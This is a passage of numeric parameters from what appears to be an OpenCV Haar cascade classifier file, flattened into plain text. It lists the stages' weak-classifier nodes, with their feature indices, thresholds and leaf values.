8.9544452726840973e-02 + <_> + + 1 0 861 6.1831250786781311e-03 2 -1 862 + -1.5297930222004652e-03 -2 -3 863 -1.4521819539368153e-03 + + -3.4589260816574097e-01 -5.7744260877370834e-02 + -2.2643689811229706e-01 3.3492559194564819e-01 + <_> + + 1 0 864 9.1494834050536156e-03 -1 2 865 + -7.8258356079459190e-03 -2 -3 866 -9.1795083135366440e-03 + + -4.5102459192276001e-01 -2.0574240386486053e-01 + 2.8064918518066406e-01 -1.9400069490075111e-02 + <_> + + 1 0 867 5.2864141762256622e-03 -1 2 868 + -1.1895409785211086e-02 -2 -3 869 -2.9768719105049968e-04 + + 3.8742628693580627e-01 3.3122861385345459e-01 + -4.1473099589347839e-01 -4.6005301177501678e-02 + <_> + + 0 1 870 -9.9406214430928230e-03 -1 2 871 + 1.8322050891583785e-05 -2 -3 872 -8.9074727147817612e-03 + + -6.0510438680648804e-01 -1.5049360692501068e-01 + 4.3751770257949829e-01 4.4532001018524170e-02 + <_> + + 1 2 873 2.7458940166980028e-04 0 -1 874 + -1.0605080024106428e-04 -2 -3 875 1.3431450352072716e-02 + + 3.4243520349264145e-02 -3.1917920708656311e-01 + 5.4285280406475067e-02 5.1082128286361694e-01 + <_> + + 0 1 876 1.7373449736624025e-05 2 -1 877 + 2.6647070626495406e-05 -2 -3 878 2.8135200409451500e-05 + + -1.3858599960803986e-01 2.9074499011039734e-01 + -5.2693158388137817e-01 6.1677869409322739e-02 + <_> + + 1 0 879 -1.4079789980314672e-04 -1 2 880 + -1.0311259888112545e-02 -2 -3 881 -2.7866840362548828e-02 + + -1.4329759776592255e-01 -4.7958651185035706e-01 + 3.8226899504661560e-01 1.0630049742758274e-02 + <_> + + 1 0 882 5.8228662237524986e-03 2 -1 883 + -8.7669547647237778e-03 -2 -3 884 -2.8466230724006891e-03 + + 2.9776591062545776e-01 -1.8124760687351227e-01 + -2.4237589538097382e-01 3.0139160156250000e-01 + <_> + + 1 0 885 6.4540808089077473e-03 2 -1 886 + 6.9421119987964630e-03 -2 -3 887 -7.1991360746324062e-03 + + -4.7911441326141357e-01 -3.8983830809593201e-01 + -3.8099661469459534e-01 1.3023279607295990e-01 + <_> + + 1 0 888 1.3020260259509087e-02 -1 2 889 + -1.0113810189068317e-02 -2 -3 890 -1.9183289259672165e-02 + + 4.9582180380821228e-01 4.5563331246376038e-01 + 3.3518138527870178e-01 -1.1938130110502243e-01 + <_> + + 1 2 891 1.0314499959349632e-03 0 -1 892 + 5.7669691159389913e-05 -2 -3 893 5.0447430461645126e-02 + + -3.5977721214294434e-01 2.6054680347442627e-02 + 1.6761170327663422e-01 -2.8970599174499512e-01 + <_> + + 1 0 894 3.7453400436788797e-03 2 -1 895 + 4.7667181206634268e-05 -2 -3 896 -5.3708041377831250e-05 + + -4.6433079242706299e-01 1.8610210716724396e-01 + 5.6288938969373703e-02 -4.2427191138267517e-01 + <_> + + 0 1 897 -6.5939482301473618e-03 -1 2 898 + -2.1548079326748848e-02 -2 -3 899 1.3188139535486698e-02 + + -4.7423711419105530e-01 -4.2937740683555603e-01 + 1.1677609756588936e-02 4.2440900206565857e-01 + <_> + + 1 0 900 1.2091189622879028e-02 2 -1 901 + -6.2589373555965722e-05 -2 -3 902 1.9446300575509667e-03 + + 2.3611229658126831e-01 -2.1822200715541840e-01 + -2.5404209271073341e-02 4.2902240157127380e-01 + <_> + + 1 0 903 7.7299331314861774e-03 -1 2 904 + -3.7915860302746296e-03 -2 -3 905 4.3860040605068207e-03 + + -5.3524547815322876e-01 -4.3546271324157715e-01 + 1.2576849758625031e-01 -2.8148999810218811e-01 + <_> + + 1 0 906 -9.4350852305069566e-04 -1 2 907 + -1.1670179665088654e-03 -2 -3 908 2.9260620940476656e-03 + + -1.7022730410099030e-01 2.6141870021820068e-01 + -1.7437639832496643e-01 3.8530299067497253e-01 + <_> + + 1 0 909 1.4593300409615040e-02 2 -1 910 + 7.9177077859640121e-03 -2 -3 911 -3.1372120138257742e-03 + + -5.5104351043701172e-01 2.7703890204429626e-01 + 1.3093240559101105e-01 -1.6954340040683746e-01 + <_> + + 1 2 912 -9.2021061573177576e-04 0 -1 913 + -1.0446259751915932e-02 -2 -3 914 -8.3597414195537567e-03 + + 4.4468599557876587e-01 -3.9477398991584778e-01 + 3.4909680485725403e-01 -1.0887180455029011e-02 + <_> + + 0 1 915 -9.7741633653640747e-03 -1 2 916 + 1.2587079778313637e-02 -2 -3 917 -1.4933859929442406e-03 + + 2.1157720685005188e-01 -1.4542940258979797e-01 + -1.5098230540752411e-01 5.0790101289749146e-01 + <_> + + 0 1 918 -5.0530377775430679e-03 -1 2 919 + -2.5890849065035582e-04 -2 -3 920 4.8418638471048325e-05 + + -2.3845790326595306e-01 -2.5153321027755737e-01 + -2.4533210322260857e-02 3.0376350879669189e-01 + <_> + + 1 0 921 2.3038890212774277e-03 2 -1 922 + 3.6540660075843334e-03 -2 -3 923 -3.3346249256283045e-03 + + 2.8125861287117004e-01 -3.6965739727020264e-01 + -3.0266079306602478e-01 8.8287420570850372e-02 + <_> + + 0 1 924 -1.1975349858403206e-02 -1 2 925 + -1.8564870115369558e-03 -2 -3 926 1.5760740498080850e-03 + + -4.6360239386558533e-01 3.9942011237144470e-01 + -1.1057750135660172e-01 1.6782909631729126e-01 + <_> + + 1 0 927 4.1210349649190903e-02 2 -1 928 + -1.0635109618306160e-02 -2 -3 929 -3.3335660118609667e-03 + + -6.8945991992950439e-01 -9.5825389027595520e-02 + -4.6437320113182068e-01 2.2104820609092712e-01 + <_> + + 0 1 930 -2.4082309100776911e-03 2 -1 931 + 5.5890781804919243e-03 -2 -3 932 1.2177750468254089e-03 + + 2.0128449797630310e-01 -5.2314841747283936e-01 + 3.1367950141429901e-02 -4.1038578748703003e-01 + <_> + + 1 0 933 8.6324941366910934e-03 2 -1 934 + 3.8473210297524929e-03 -2 -3 935 -1.8842349527403712e-03 + + 3.1741571426391602e-01 -4.3851628899574280e-01 + 3.8140851259231567e-01 -6.0103170573711395e-02 + <_> + 41 + -1.2084549665451050e+00 + + <_> + + 1 0 936 -2.3675959557294846e-02 -1 2 937 + -2.0480139646679163e-03 -2 -3 938 8.1840698840096593e-04 + + -3.5308888554573059e-01 6.9878387451171875e-01 + -2.8367671370506287e-01 4.1667369008064270e-01 + <_> + + 1 2 939 1.2784999562427402e-03 0 -1 940 + -3.4423400647938251e-03 -2 -3 941 -7.4483961798250675e-03 + + 3.3807888627052307e-01 -1.6657039523124695e-01 + 6.4591968059539795e-01 -2.2018529474735260e-01 + <_> + + 0 1 942 1.1179470457136631e-02 2 -1 943 + -2.3196099698543549e-01 -2 -3 944 -4.3133709579706192e-02 + + -3.2552671432495117e-01 -8.3167977631092072e-02 + -1.6172540187835693e-01 4.6209758520126343e-01 + <_> + + 1 0 945 -1.9728920597117394e-04 -1 2 946 + -2.3259329609572887e-03 -2 -3 947 -1.0320080444216728e-02 + + -1.5667790174484253e-01 3.6914899945259094e-01 + 4.8015019297599792e-01 -8.9061602950096130e-02 + <_> + + 0 1 948 -2.0040970295667648e-02 -1 2 949 + -2.4495070101693273e-04 -2 -3 950 -1.1836830526590347e-03 + + -5.6967437267303467e-01 -2.3713299632072449e-01 + -3.4671390056610107e-01 1.4475019276142120e-01 + <_> + + 1 0 951 -2.6744368951767683e-03 2 -1 952 + -5.1904888823628426e-03 -2 -3 953 -1.9888129085302353e-02 + + -1.2661710381507874e-01 -6.4648993313312531e-02 + -4.5441371202468872e-01 3.9849451184272766e-01 + <_> + + 0 1 954 -5.7462421245872974e-03 2 -1 955 + 4.4583589769899845e-03 -2 -3 956 -1.2518949806690216e-02 + + -3.6761870980262756e-01 3.8435870409011841e-01 + -6.1902827024459839e-01 1.9050609320402145e-02 + <_> + + 0 1 957 -7.7734276652336121e-02 2 -1 958 + 6.7193829454481602e-03 -2 -3 959 1.6520710196346045e-03 + + 5.5405282974243164e-01 -4.1308841109275818e-01 + 7.3280662298202515e-02 -2.8589090704917908e-01 + <_> + + 1 0 960 2.1226350218057632e-02 2 -1 961 + 1.1231450363993645e-02 -2 -3 962 -1.8163130152970552e-04 + + 3.6871838569641113e-01 3.5591110587120056e-01 + -3.3781459927558899e-01 -8.1584807485342026e-03 + <_> + + 1 0 963 2.8726160526275635e-02 2 -1 964 + 5.0780461169779301e-03 -2 -3 965 -5.1352521404623985e-04 + + -7.2751021385192871e-01 2.6649999618530273e-01 + 1.1073680222034454e-01 -1.8206079304218292e-01 + <_> + + 0 1 966 -3.8125980645418167e-03 2 -1 967 + 9.1425428399816155e-04 -2 -3 968 1.0090490104630589e-03 + + -2.8374129533767700e-01 2.4259260296821594e-01 + 6.0151178389787674e-02 -2.7039301395416260e-01 + <_> + + 0 1 969 -7.8553140163421631e-02 -1 2 970 + -6.5192081965506077e-03 -2 -3 971 2.0706290379166603e-03 + + -5.5804842710494995e-01 2.5557601451873779e-01 + -1.0600800067186356e-01 2.7225118875503540e-01 + <_> + + 1 0 972 1.3555780053138733e-02 -1 2 973 + 7.0873757067602128e-05 -2 -3 974 -1.4444560511037707e-03 + + -4.8073831200599670e-01 -1.3499049842357635e-01 + 4.3762150406837463e-01 4.8329260200262070e-02 + <_> + + 1 0 975 -3.6353049799799919e-03 -1 2 976 + -2.7163419872522354e-03 -2 -3 977 -7.4552530422806740e-03 + + -1.2743209302425385e-01 3.3708488941192627e-01 + 5.4894310235977173e-01 -1.0238330066204071e-01 + <_> + + 1 2 978 1.8306199926882982e-03 0 -1 979 + 3.5198179539293051e-03 -2 -3 980 -3.0126908677630126e-04 + + -2.4612280726432800e-01 1.5894930064678192e-01 + -2.7785000205039978e-01 2.3901990056037903e-01 + <_> + + 2 1 981 3.1999459024518728e-03 0 -1 982 + 1.4862619573250413e-03 -2 -3 983 -1.3004139764234424e-03 + + 4.7738438844680786e-01 -3.1345888972282410e-02 + 7.1047246456146240e-02 -2.1556860208511353e-01 + <_> + + 1 0 984 1.5583000145852566e-02 2 -1 985 + 7.6356581412255764e-03 -2 -3 986 -1.4318820321932435e-03 + + 2.7187249064445496e-01 -5.1074218750000000e-01 + -1.5140180289745331e-01 1.4207449555397034e-01 + <_> + + 1 2 987 -6.7814798094332218e-03 0 -1 988 + -1.1809200048446655e-01 -2 -3 989 -2.8277190402150154e-02 + + -6.9562858343124390e-01 3.3270710706710815e-01 + 1.1135250329971313e-01 -1.7491710186004639e-01 + <_> + + 0 1 990 -3.7033241242170334e-02 -1 2 991 + -4.9177031032741070e-03 -2 -3 992 -2.7518879505805671e-04 + + 2.8885498642921448e-01 -4.0966060757637024e-01 + -3.1160330772399902e-01 6.0995019972324371e-02 + <_> + + 0 1 993 -2.3584270384162664e-03 -1 2 994 + -3.5775059368461370e-03 -2 -3 995 -4.1078119538724422e-03 + + -5.9846490621566772e-01 2.4603059887886047e-01 + 8.5180006921291351e-02 -2.0629020035266876e-01 + <_> + + 1 0 996 1.5300850383937359e-02 -1 2 997 + -1.5483479946851730e-02 -2 -3 998 -5.7852710597217083e-03 + + 3.0057510733604431e-01 -6.8350881338119507e-01 + 2.0100210607051849e-01 -9.0607739984989166e-02 + <_> + + 1 0 999 1.4448310248553753e-02 -1 2 1000 + -3.1330309808254242e-02 -2 -3 1001 -3.0594000127166510e-03 + + 2.6733011007308960e-01 -5.2288150787353516e-01 + 4.0950208902359009e-01 -6.5823979675769806e-02 + <_> + + 0 1 1002 -1.8781309481710196e-03 2 -1 1003 + -5.8503728359937668e-03 -2 -3 1004 2.6462681125849485e-03 + + -2.5463208556175232e-01 -1.2269999831914902e-01 + -7.9216457903385162e-02 2.9203468561172485e-01 + <_> + + 0 1 1005 1.3989449944347143e-03 2 -1 1006 + 9.7635984420776367e-03 -2 -3 1007 -9.4864349812269211e-03 + + 1.2148520350456238e-01 2.7110511064529419e-01 + 1.0176890343427658e-01 -3.2153740525245667e-01 + <_> + + 1 0 1008 1.5739769442006946e-03 2 -1 1009 + 4.9365921877324581e-03 -2 -3 1010 -5.0848699174821377e-04 + + -5.9908610582351685e-01 -3.8752740621566772e-01 + -1.3056530058383942e-01 1.2711940705776215e-01 + <_> + + 0 1 1011 -9.6375271677970886e-02 -1 2 1012 + -8.0375596880912781e-02 -2 -3 1013 -5.4449690505862236e-03 + + -6.8821328878402710e-01 4.1428178548812866e-01 + 8.2179926335811615e-02 -1.8036940693855286e-01 + <_> + + 0 1 1014 -7.6126731000840664e-03 2 -1 1015 + -3.1007949728518724e-03 -2 -3 1016 -2.0799610763788223e-02 + + 1.7513050138950348e-01 -2.1534129977226257e-01 + 2.9026609659194946e-01 -2.1753519773483276e-01 + <_> + + 0 1 1017 -1.7213800549507141e-01 -1 2 1018 + -1.7464880365878344e-03 -2 -3 1019 -6.8416520953178406e-02 + + 2.2739590704441071e-01 1.3240070641040802e-01 + -6.2430542707443237e-01 -1.0549639910459518e-01 + <_> + + 0 1 1020 -1.9070530310273170e-02 -1 2 1021 + -2.8794098761864007e-04 -2 -3 1022 7.3958968278020620e-04 + + 5.5033868551254272e-01 -3.4565579891204834e-01 + 1.8934780359268188e-01 -8.8741242885589600e-02 + <_> + + 0 1 1023 -7.5153419747948647e-03 -1 2 1024 + -1.2848030310124159e-03 -2 -3 1025 1.2194210430607200e-03 + + -4.5797100663185120e-01 1.2825480103492737e-01 + -2.9630279541015625e-01 1.9254499673843384e-01 + <_> + + 1 2 1026 -1.6169670224189758e-01 0 -1 1027 + 1.4747560024261475e-02 -2 -3 1028 -8.4396981401368976e-04 + + -4.4868141412734985e-01 1.3941350579261780e-01 + 2.0387759804725647e-01 -5.6935109198093414e-02 + <_> + + 1 0 1029 -1.2965890346094966e-04 -1 2 1030 + -1.3776419684290886e-02 -2 -3 1031 -9.4375656917691231e-03 + + -1.4722099900245667e-01 2.4039970338344574e-01 + 5.5077737569808960e-01 -1.5877890586853027e-01 + <_> + + 1 0 1032 1.1291690316284075e-04 -1 2 1033 + 6.6032530739903450e-03 -2 -3 1034 2.0985701121389866e-03 + + 1.3769179582595825e-01 -2.5903069972991943e-01 + 2.3297089338302612e-01 -3.7152260541915894e-01 + <_> + + 2 1 1035 -1.8329389858990908e-03 0 -1 1036 + -1.6420709434896708e-03 -2 -3 1037 6.7886798642575741e-03 + + 3.5991749167442322e-01 -1.5401339530944824e-01 + 1.8581290543079376e-01 -6.7269998788833618e-01 + <_> + + 0 1 1038 1.6932019498199224e-03 -1 2 1039 + -1.0055249556899071e-02 -2 -3 1040 -3.1679549720138311e-03 + + -1.3255499303340912e-01 3.8144260644912720e-01 + 3.2224041223526001e-01 -8.5345722734928131e-02 + <_> + + 2 1 1041 2.4724518880248070e-04 0 -1 1042 + -2.4610899854451418e-03 -2 -3 1043 4.2370590381324291e-04 + + 2.4504560232162476e-01 -4.2068049311637878e-01 + 9.6731372177600861e-02 -3.6695280671119690e-01 + <_> + + 1 2 1044 -2.3991330526769161e-03 0 -1 1045 + -1.0543569922447205e-01 -2 -3 1046 -2.9867719858884811e-03 + + -7.3811298608779907e-01 2.8551021218299866e-01 + 1.9291989505290985e-01 -1.4805729687213898e-01 + <_> + + 0 1 1047 -4.0492648258805275e-03 2 -1 1048 + -1.1622729944065213e-03 -2 -3 1049 -2.7857329696416855e-02 + + 1.0766500234603882e-01 -2.7701449394226074e-01 + 3.9593660831451416e-01 -2.0954720675945282e-01 + <_> + + 2 1 1050 8.1511605530977249e-03 0 -1 1051 + 1.5126319602131844e-02 -2 -3 1052 -1.1020600050687790e-01 + + 6.8626463413238525e-02 5.3772068023681641e-01 + -4.9161431193351746e-01 -4.4780239462852478e-02 + <_> + + 1 2 1053 -1.6588929574936628e-03 0 -1 1054 + -3.4530278295278549e-02 -2 -3 1055 1.0060180211439729e-03 + + 3.6734369397163391e-01 -2.5586590170860291e-02 + 2.7465619146823883e-02 -3.4973311424255371e-01 + <_> + + 0 1 1056 -2.8843909502029419e-02 2 -1 1057 + 2.4647780810482800e-04 -2 -3 1058 -7.4189889710396528e-04 + + -6.5100878477096558e-01 -1.8410819768905640e-01 + -9.0942107141017914e-02 2.2521719336509705e-01 + <_> + 37 + -1.2229189872741699e+00 + + <_> + + 1 2 1059 -1.2407599948346615e-02 0 -1 1060 + -1.1902820318937302e-02 -2 -3 1061 -5.5238649249076843e-02 + + 6.8965518474578857e-01 -1.3579159975051880e-01 + -4.4337168335914612e-02 -4.5446300506591797e-01 + <_> + + 1 2 1062 3.3332619350403547e-03 0 -1 1063 + 4.8620607703924179e-03 -2 -3 1064 -3.1632129102945328e-03 + + -3.1873029470443726e-01 7.0181049406528473e-02 + -3.2160758972167969e-01 7.0131868124008179e-01 + <_> + + 1 0 1065 1.8592040240764618e-01 -1 2 1066 + 3.1807690393179655e-03 -2 -3 1067 -9.4139128923416138e-03 + + 3.4192711114883423e-01 -3.3313518762588501e-01 + 3.2091590762138367e-01 -1.2491060048341751e-01 + <_> + + 1 0 1068 6.5205397550016642e-04 2 -1 1069 + -5.0521180965006351e-03 -2 -3 1070 7.6105687767267227e-03 + + -2.3811559379100800e-01 -1.4155420660972595e-01 + 3.2182168960571289e-01 -2.4797810614109039e-01 + <_> + + 0 1 1071 -1.6043110517784953e-03 -1 2 1072 + -2.7449749410152435e-02 -2 -3 1073 5.6960887741297483e-04 + + 1.9883860647678375e-01 -6.9581168889999390e-01 + 5.0723928958177567e-02 -2.9218611121177673e-01 + <_> + + 1 0 1074 2.7564789634197950e-03 2 -1 1075 + -1.1058920063078403e-02 -2 -3 1076 5.1102549768984318e-03 + + 2.0911119878292084e-01 -2.4516950547695160e-01 + -1.0658439993858337e-01 4.0211549401283264e-01 + <_> + + 1 0 1077 4.5064617879688740e-03 2 -1 1078 + 4.2800018563866615e-03 -2 -3 1079 7.8124259598553181e-03 + + -4.6300640702247620e-01 -3.9396348595619202e-01 + 1.4130340516567230e-01 -2.8671020269393921e-01 + <_> + + 1 0 1080 4.4836059212684631e-02 2 -1 1081 + 1.7986740916967392e-02 -2 -3 1082 -6.0726520605385303e-03 + + -5.0257712602615356e-01 3.1318759918212891e-01 + 9.8504282534122467e-02 -2.2500780224800110e-01 + <_> + + 0 1 1083 -1.8578730523586273e-02 2 -1 1084 + 3.5717431455850601e-02 -2 -3 1085 -1.8269789870828390e-03 + + -5.1453977823257446e-01 3.1848269701004028e-01 + 1.4090469479560852e-01 -1.8669110536575317e-01 + <_> + + 0 1 1086 -5.4818098433315754e-03 -1 2 1087 + -6.0164718888700008e-04 -2 -3 1088 9.9322739988565445e-03 + + 1.9321410357952118e-01 -3.8167670369148254e-01 + -5.8519419282674789e-02 4.8970058560371399e-01 + <_> + + 2 1 1089 1.4053160557523370e-03 0 -1 1090 + 5.2271760068833828e-03 -2 -3 1091 -1.4931050129234791e-02 + + 2.5072118639945984e-01 -6.5754747390747070e-01 + 5.5669851601123810e-02 -2.4669079482555389e-01 + <_> + + 1 2 1092 -1.2826359830796719e-02 0 -1 1093 + -2.7587350457906723e-02 -2 -3 1094 -4.7543710097670555e-03 + + -3.2225701212882996e-01 5.6484752893447876e-01 + -4.9142929911613464e-01 -8.8634714484214783e-03 + <_> + + 0 1 1095 -2.7212230488657951e-03 2 -1 1096 + 6.6132671199738979e-03 -2 -3 1097 -1.1435840278863907e-02 + + -5.7900500297546387e-01 4.5554360747337341e-01 + 1.5250509977340698e-01 -1.2167599797248840e-01 + <_> + + 0 1 1098 -1.9095990806818008e-02 2 -1 1099 + -1.2672290205955505e-01 -2 -3 1100 -1.8373519182205200e-02 + + -4.4416400790214539e-01 1.1622429639101028e-01 + 4.1248679161071777e-01 -3.0303838849067688e-01 + <_> + + 0 1 1101 -3.2425698637962341e-01 -1 2 1102 + -3.8764779455959797e-03 -2 -3 1103 -7.5138150714337826e-04 + + 4.4721060991287231e-01 7.5931303203105927e-02 + 1.1976880021393299e-02 -3.6275759339332581e-01 + <_> + + 1 0 1104 6.7106341011822224e-03 -1 2 1105 + -6.5366760827600956e-03 -2 -3 1106 -5.5684632388874888e-04 + + -3.9521178603172302e-01 -3.0311599373817444e-01 + -1.5832960605621338e-01 1.7123879492282867e-01 + <_> + + 0 1 1107 -3.9269351400434971e-03 -1 2 1108 + -1.6322469338774681e-02 -2 -3 1109 5.5038761347532272e-02 + + 2.0034509897232056e-01 4.1271069645881653e-01 + -1.7926050722599030e-01 2.6303529739379883e-01 + <_> + + 1 2 1110 1.0095089673995972e-03 0 -1 1111 + -9.8581332713365555e-03 -2 -3 1112 -7.0780781097710133e-03 + + 2.4884219467639923e-01 -3.9200861006975174e-02 + 3.7243181467056274e-01 -3.7739849090576172e-01 + <_> + + 1 0 1113 2.1169960964471102e-03 2 -1 1114 + 1.5883900225162506e-01 -2 -3 1115 -4.2488988488912582e-02 + + 1.7665450274944305e-01 7.2631222009658813e-01 + 4.8568719625473022e-01 -1.4427030086517334e-01 + <_> + + 0 1 1116 -9.4166352937463671e-05 -1 2 1117 + 8.1764090282376856e-05 -2 -3 1118 5.4165818728506565e-03 + + 1.7045879364013672e-01 -3.1940829753875732e-01 + 9.9846661090850830e-02 -4.1059550642967224e-01 + <_> + + 0 1 1119 -6.1865211464464664e-03 2 -1 1120 + 6.5089072450064123e-05 -2 -3 1121 -6.8352972448337823e-05 + + -3.8492518663406372e-01 1.6319459676742554e-01 + 2.1182140707969666e-01 -2.5311520695686340e-01 + <_> + + 1 2 1122 -4.0968839311972260e-04 0 -1 1123 + 3.5239830613136292e-03 -2 -3 1124 -8.3400387666188180e-05 + + -1.1859580129384995e-01 -7.9780608415603638e-01 + 2.2940699756145477e-01 -3.8782458752393723e-02 + <_> + + 1 2 1125 -2.7096238918602467e-03 0 -1 1126 + -6.8883160129189491e-03 -2 -3 1127 1.1571759823709726e-03 + + -5.9978920221328735e-01 3.4748208522796631e-01 + -1.5406990051269531e-01 1.3573920726776123e-01 + <_> + + 0 1 1128 9.5913361292332411e-04 -1 2 1129 + -1.8333569169044495e-02 -2 -3 1130 2.4258090183138847e-02 + + -1.0236030071973801e-01 -5.5400210618972778e-01 + 1.4270070195198059e-01 7.2077578306198120e-01 + <_> + + 2 1 1131 1.0541410185396671e-02 0 -1 1132 + 9.1231325641274452e-03 -2 -3 1133 -1.4598550042137504e-03 + + 1.9214800000190735e-01 -3.6190611124038696e-01 + 2.8950750827789307e-01 -1.8767410516738892e-01 + <_> + + 0 1 1134 -1.1819070205092430e-02 -1 2 1135 + -3.2446000725030899e-02 -2 -3 1136 -2.3319718893617392e-03 + + -5.3653758764266968e-01 -6.8713748455047607e-01 + -8.8751368224620819e-02 1.5991990268230438e-01 + <_> + + 1 2 1137 -6.5151029266417027e-03 0 -1 1138 + 2.5015550199896097e-03 -2 -3 1139 7.8799802577123046e-04 + + 6.8285889923572540e-02 5.7962691783905029e-01 + -1.9128720462322235e-01 9.7289860248565674e-02 + <_> + + 1 0 1140 6.0783070512115955e-03 -1 2 1141 + -8.7201576679944992e-03 -2 -3 1142 3.5847601247951388e-04 + + -6.1147671937942505e-01 4.7648158669471741e-01 + 9.0117119252681732e-02 -1.6770669817924500e-01 + <_> + + 1 0 1143 -1.3178629800677299e-02 -1 2 1144 + -8.5365071892738342e-02 -2 -3 1145 3.3002009149640799e-03 + + -1.2755720317363739e-01 2.6924338936805725e-01 + -1.8480269610881805e-01 5.8760780096054077e-01 + <_> + + 0 1 1146 -1.1601460166275501e-02 2 -1 1147 + 9.9076535552740097e-03 -2 -3 1148 4.3782261200249195e-03 + + 3.3849120140075684e-01 -5.5809050798416138e-01 + -7.8933097422122955e-02 2.2385579347610474e-01 + <_> + + 0 1 1149 -4.7082178294658661e-02 -1 2 1150 + -3.2685339101590216e-04 -2 -3 1151 7.8715756535530090e-03 + + 6.8917119503021240e-01 1.2139579653739929e-01 + -7.5880296528339386e-02 -6.5191179513931274e-01 + <_> + + 1 2 1152 -3.9275310700759292e-04 0 -1 1153 + -3.4211258753202856e-04 -2 -3 1154 5.6030962150543928e-04 + + -3.4082669019699097e-01 3.7230521440505981e-01 + 1.8275870010256767e-02 -2.7192598581314087e-01 + <_> + + 0 1 1155 -2.4439349770545959e-02 -1 2 1156 + 1.2128120288252831e-02 -2 -3 1157 2.2948130499571562e-03 + + -3.4894740581512451e-01 -4.1957078501582146e-03 + -2.0841300487518311e-02 8.0151557922363281e-01 + <_> + + 1 2 1158 -3.6386020947247744e-03 0 -1 1159 + -6.3949287869036198e-04 -2 -3 1160 2.0897389913443476e-04 + + -2.5389778614044189e-01 3.6606290936470032e-01 + -1.4177979528903961e-01 1.4148280024528503e-01 + <_> + + 2 1 1161 -6.7888460762333125e-05 0 -1 1162 + 3.9580671000294387e-04 -2 -3 1163 1.2493260437622666e-03 + + -2.0807999372482300e-01 2.3690980672836304e-01 + 2.4679720401763916e-01 -2.2032499313354492e-01 + <_> + + 0 1 1164 -4.6679278602823615e-04 -1 2 1165 + 1.1740219779312611e-03 -2 -3 1166 -7.1949949488043785e-03 + + -3.3990928530693054e-01 1.2153220176696777e-01 + 3.3542940020561218e-01 -3.9178979396820068e-01 + <_> + + 1 0 1167 3.2422799267806113e-04 2 -1 1168 + 2.4374879896640778e-02 -2 -3 1169 2.6271429378539324e-03 + + -2.5593858957290649e-01 4.2434880137443542e-01 + 1.0237640142440796e-01 -2.6907420158386230e-01 + <_> + 32 + -1.2001949548721313e+00 + + <_> + + 1 0 1170 -1.8586540594696999e-02 -1 2 1171 + -7.4109081178903580e-03 -2 -3 1172 -5.3711149841547012e-02 + + -3.6523258686065674e-01 7.7427452802658081e-01 + 2.4213680624961853e-01 -3.7803840637207031e-01 + <_> + + 1 2 1173 6.9198510609567165e-03 0 -1 1174 + -3.0759189277887344e-02 -2 -3 1175 -8.9597534388303757e-03 + + 1.3523690402507782e-01 -2.7957341074943542e-01 + -6.0680317878723145e-01 6.9579082727432251e-01 + <_> + + 1 0 1176 7.1816287934780121e-02 2 -1 1177 + -1.1622999794781208e-02 -2 -3 1178 -1.0627550072968006e-03 + + 3.0647501349449158e-01 -2.2690390050411224e-01 + 4.4374391436576843e-01 -3.1824579834938049e-01 + <_> + + 0 1 1179 -7.3452957440167665e-04 -1 2 1180 + -4.9303710460662842e-02 -2 -3 1181 -3.2011170405894518e-03 + + -2.2684609889984131e-01 3.4253200888633728e-01 + 3.0913218855857849e-01 -2.0078240334987640e-01 + <_> + + 2 1 1182 1.4706649817526340e-02 0 -1 1183 + -1.1798519641160965e-01 -2 -3 1184 -1.6695359721779823e-02 + + -9.4517791271209717e-01 5.7428210973739624e-01 + 2.4567030370235443e-01 -1.1707650125026703e-01 + <_> + + 1 2 1185 -6.8853241391479969e-03 0 -1 1186 + 7.8145717270672321e-04 -2 -3 1187 2.7586790919303894e-01 + + 3.9508721232414246e-01 -1.0023059695959091e-01 + -1.4659850299358368e-01 7.7942031621932983e-01 + <_> + + 0 1 1188 -2.6423679664731026e-02 -1 2 1189 + 1.8955089617520571e-03 -2 -3 1190 -5.7396688498556614e-03 + + -3.2860249280929565e-01 1.5046370029449463e-01 + -4.0492990612983704e-01 1.5257360041141510e-01 + <_> + + 0 1 1191 -7.8677870333194733e-03 -1 2 1192 + -1.9029570103157312e-04 -2 -3 1193 2.9406580142676830e-04 + + 2.2024929523468018e-01 -3.7222158908843994e-01 + 1.0350369662046432e-01 -3.6075070500373840e-01 + <_> + + 2 1 1194 -6.1921158339828253e-04 0 -1 1195 + -4.6625699847936630e-02 -2 -3 1196 8.0430079833604395e-05 + + 2.5249621272087097e-01 -3.2340309023857117e-01 + -8.7712243199348450e-02 2.5224068760871887e-01 + <_> + + 1 0 1197 2.9532159678637981e-03 -1 2 1198 + -4.5338911004364491e-03 -2 -3 1199 -1.1544080451130867e-02 + + 4.8171079158782959e-01 -4.5188549160957336e-01 + 2.5434678792953491e-01 -8.4140419960021973e-02 + <_> + + 0 1 1200 1.3043760554865003e-03 -1 2 1201 + -3.4115801099687815e-03 -2 -3 1202 -1.5855060191825032e-03 + + -1.0121349990367889e-01 5.2193498611450195e-01 + 6.8923211097717285e-01 -1.0570000112056732e-01 + <_> + + 0 1 1203 -2.9867749661207199e-02 2 -1 1204 + -2.5652049225755036e-04 -2 -3 1205 -3.9234450086951256e-03 + + -4.3362548947334290e-01 -3.3430889248847961e-02 + -2.5569188594818115e-01 4.4265130162239075e-01 + <_> + + 1 0 1206 4.6491571702063084e-03 -1 2 1207 + -2.7727609872817993e-01 -2 -3 1208 -2.2448340058326721e-01 + + 6.2878167629241943e-01 7.1006447076797485e-01 + 3.0520048737525940e-01 -9.2947281897068024e-02 + <_> + + 2 1 1209 3.8704689592123032e-02 0 -1 1210 + 8.2667707465589046e-04 -2 -3 1211 3.5339579335413873e-04 + + -7.1300238370895386e-01 3.4036791324615479e-01 + -2.7960309386253357e-01 4.1289128363132477e-02 + <_> + + 1 2 1212 1.2603959999978542e-02 0 -1 1213 + -5.5078358855098486e-05 -2 -3 1214 9.1213081032037735e-03 + + 6.5844729542732239e-02 -2.0295199751853943e-01 + 5.0578397512435913e-01 -2.8807151317596436e-01 + <_> + + 0 1 1215 -4.0084728971123695e-03 2 -1 1216 + 4.4780140742659569e-03 -2 -3 1217 -4.7284600441344082e-04 + + 2.1491059660911560e-01 2.1849650144577026e-01 + -6.7471832036972046e-01 -1.0888069868087769e-01 + <_> + + 0 1 1218 -3.7310249172151089e-04 -1 2 1219 + -1.0922510176897049e-02 -2 -3 1220 2.5496890768408775e-02 + + 1.7151309549808502e-01 4.2335990071296692e-01 + -2.3464329540729523e-01 1.9871939718723297e-01 + <_> + + 1 0 1221 7.0709688588976860e-03 -1 2 1222 + 3.5252509405836463e-04 -2 -3 1223 5.8937398716807365e-04 + + -4.3551680445671082e-01 -6.1764400452375412e-02 + -7.9512260854244232e-02 4.0493848919868469e-01 + <_> + + 2 1 1224 